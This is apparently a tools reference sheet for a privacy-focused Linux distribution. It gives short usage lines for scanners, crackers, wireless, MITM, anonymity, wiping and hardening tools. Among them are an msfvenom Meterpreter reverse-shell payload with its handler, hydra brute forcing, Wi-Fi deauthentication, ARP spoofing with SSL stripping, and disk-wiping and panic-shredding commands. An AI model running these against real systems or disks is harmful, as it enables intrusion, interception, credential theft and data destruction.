Back to Main Page | Documentation | FAQ
All tools are pre-installed and pre-configured to use Tor SOCKS proxy (127.0.0.1:9050).
nmap - Network discovery and security scanning
nmap -sS -A target.com nmap -sV -p- target.com nmap --script vuln target.com
masscan - High speed port scanner
masscan 0.0.0.0/0 -p80,443 masscan target.com -p1-65535 --rate=1000
dnsrecon - DNS enumeration
dnsrecon -d target.com dnsrecon -d target.com -t axfr
theharvester - Email and domain enumeration
theharvester -d target.com -b google theharvester -d target.com -b linkedin
fierce - DNS brute forcing
fierce -dns target.com fierce -dns target.com -wordlist wordlist.txt
nikto - Web server scanner
nikto -h target.com nikto -h target.com -ssl -port 443
wpscan - WordPress vulnerability scanner
wpscan --url target.com wpscan --url target.com --enumerate u
sqlmap - SQL injection testing
sqlmap -u target.com/?id=1 sqlmap -u target.com/?id=1 --dbs sqlmap -u target.com/?id=1 --tables
metasploit - Exploit framework
msfconsole msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > payload.exe msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 10.0.0.1; exploit"
hydra - Password brute forcing
hydra -l user -P passlist.txt ssh://target.com hydra -l user -P passlist.txt ftp://target.com hydra -l user -P passlist.txt rdp://target.com
john - Password cracking
john --wordlist=wordlist.txt hash.txt john --format=md5 hash.txt john --show hash.txt
hashcat - GPU accelerated password cracking
hashcat -m 0 hash.txt wordlist.txt hashcat -m 1000 hash.txt wordlist.txt hashcat -m 1800 hash.txt wordlist.txt
aircrack-ng - Wireless network security
airmon-ng start wlan0 airodump-ng wlan0mon aireplay-ng -0 5 -a AP_MAC wlan0mon aircrack-ng -w wordlist.txt capture.cap
reaver - WPS brute forcing
reaver -i wlan0mon -b AP_MAC reaver -i wlan0mon -b AP_MAC -c 6 -vv
bully - WPS brute forcing alternative
bully wlan0mon -b AP_MAC bully wlan0mon -b AP_MAC -c 6
bettercap - MITM framework
bettercap -iface eth0 bettercap -eval "set arp.spoof.targets 192.168.1.100; arp.spoof on; net.sniff on" bettercap -eval "set http.proxy.sslstrip true; http.proxy on"
tcpdump - Packet capture
tcpdump -i any -w capture.pcap tcpdump -i eth0 -s 65535 -w capture.pcap tcpdump -i eth0 port 80
wireshark - GUI packet analyzer
wireshark wireshark -r capture.pcap
ngrep - HTTP packet inspection
ngrep -d any port 80 ngrep -d any port 443 ngrep -d any -q "password"
gobuster - Directory/file brute forcing
gobuster dir -u target.com -w wordlist.txt gobuster dir -u target.com -w wordlist.txt -x php,txt,html gobuster dns -d target.com -w wordlist.txt
dirb - Web directory scanner
dirb target.com dirb target.com wordlist.txt dirb target.com -r -z 10
ffuf - Flexible fuzzing tool
ffuf -u target.com/FUZZ -w wordlist.txt ffuf -u target.com/FUZZ -w wordlist.txt -fc 404 ffuf -u target.com/FUZZ -w wordlist.txt -fs 0
secure-delete - Secure file deletion
srm file.txt sfill /dev/sda1 sdmem sswap /dev/sda2
wipe - Secure file wiping
wipe file.txt wipe -rf /path wipe -r -f /path
bleachbit - System cleaner
bleachbit bleachbit -c bleachbit --clean
mat2 - Metadata anonymization
mat2 file.jpg mat2 -d file.jpg mat2 -b file.jpg
exiftool - EXIF data viewer/editor
exiftool image.jpg exiftool -all= image.jpg exiftool -gps:all= image.jpg
gpg - OpenPGP encryption
gpg -c file.txt gpg -e -r user file.txt gpg -d file.gpg gpg --gen-key
openssl - Crypto toolkit
openssl enc -aes-256-cbc -in file.txt -out file.enc openssl enc -aes-256-cbc -d -in file.enc -out file.txt openssl genrsa -out key.pem 2048
cryptsetup - LUKS disk encryption
cryptsetup luksFormat /dev/sdb1 cryptsetup open /dev/sdb1 encrypted cryptsetup close encrypted
steghide - Hide data in images/audio
steghide embed -cf image.jpg -ef secret.txt steghide extract -sf image.jpg steghide info image.jpg
outguess - Image steganography
outguess -k password -d secret.txt image.jpg output.jpg outguess -k password -r output.jpg secret.txt
apparmor - Application access control
aa-status aa-enforce /etc/apparmor.d/* aa-disable /etc/apparmor.d/application
fail2ban - Brute-force protection
fail2ban-client status fail2ban-client status sshd fail2ban-client set sshd banip 192.168.1.100
rkhunter - Rootkit detection
rkhunter --check rkhunter --check --sk rkhunter --propupd
chkrootkit - Rootkit detection
chkrootkit chkrootkit -n
lynis - System security auditing
lynis audit system lynis audit system --quick lynis show settings
aide - File integrity monitoring
aideinit aide --check aide --update
auditd - Linux audit framework
auditctl -l auditctl -a exit,always -S execve ausearch -m USER_LOGIN
Tor - Anonymous routing
systemctl start tor systemctl status tor nyx
I2P - Invisible Internet Project
systemctl start i2p systemctl status i2p firefox http://127.0.0.1:7657
Proxychains - Proxy routing
proxychains4 nmap -sT -Pn target.com proxychains4 sqlmap -u target.com proxychains4 curl ifconfig.me
panic-kill - Emergency data shredding
panic-kill panic-full panic-usb
To install individual tools on other systems:
# Install all tools
apt update
apt install -y nmap masscan dnsrecon theharvester fierce \
nikto wpscan sqlmap metasploit-framework hydra john hashcat \
aircrack-ng reaver bully bettercap tcpdump wireshark ngrep \
gobuster dirb ffuf secure-delete wipe bleachbit mat2 exiftool \
gnupg2 openssl cryptsetup steghide outguess \
apparmor fail2ban rkhunter chkrootkit lynis aide auditd \
tor torsocks nyx obfs4proxy i2p proxychains4
# Install individual tool
apt install -y nmap
apt install -y metasploit-framework
apt install -y wireshark
Tinfoil Hat GNU/LINUX v0.1 Beta Hardened Privacy Operating System Tools Reference Version 0.1 Beta